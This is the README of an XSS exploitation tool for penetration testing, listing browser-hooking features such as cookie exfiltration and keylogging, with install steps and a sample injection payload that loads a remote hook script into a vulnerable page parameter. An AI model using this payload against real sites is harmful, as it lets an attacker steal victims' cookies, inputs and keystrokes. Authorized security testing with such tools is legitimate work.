Skip to content

Sharpforce/XSS-Exploitation-Tool

Repository files navigation

XSS Exploitation Tool

XSS Exploitation Tool is a penetration testing tool that focuses on the exploit of Cross-Site Scripting vulnerabilities.

Features

  • Technical Data about victim browser
  • Geolocation of the victim
  • Snapshot of the hooked/visited page
  • Source code of the hooked/visited page
  • Exfiltrate input field data
  • Exfiltrate cookies
  • Keylogging
  • Display alert box
  • Redirect user

Installation

Using Docker

Build the image:

$ docker-compose -f docker-compose.yml up -d

This will spin up the server and the database, visit the page http://localhost:8000 to see the XSS Exploitation Tool interface.

On host

Tested on Debian 12

Install Git and pull the XSS-Exploitation-Tool source code:

$ sudo apt-get install git
$ cd /tmp
$ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git

Install XET:

$ cd ./XSS-Exploitation-Tool/bin/
$ sudo chmod +x ./install.sh
$ sudo ./install.sh

Visit the page http://localhost:8000 to see the XSS Exploitation Tool interface.

How it works

Access the file index.html: http://localhost:8000/demo/ or exploit a Cross-Site Scripting vulnerability to insert the Javascript hook file:

?vulnerable_param=<script src="http://localhost:8000/hook.js"/>

Then, when victims visit the hooked page, the XSS Exploitation Tool server should list the hooked browsers.

Demo

Disclaimer

This tool is intended for educational purposes only and should be used exclusively in authorized penetration testing environments. Unauthorized access to or use of systems that you do not own is illegal. The author is not responsible for any misuse of this tool.

License

This project is licensed under the GPL-3.0.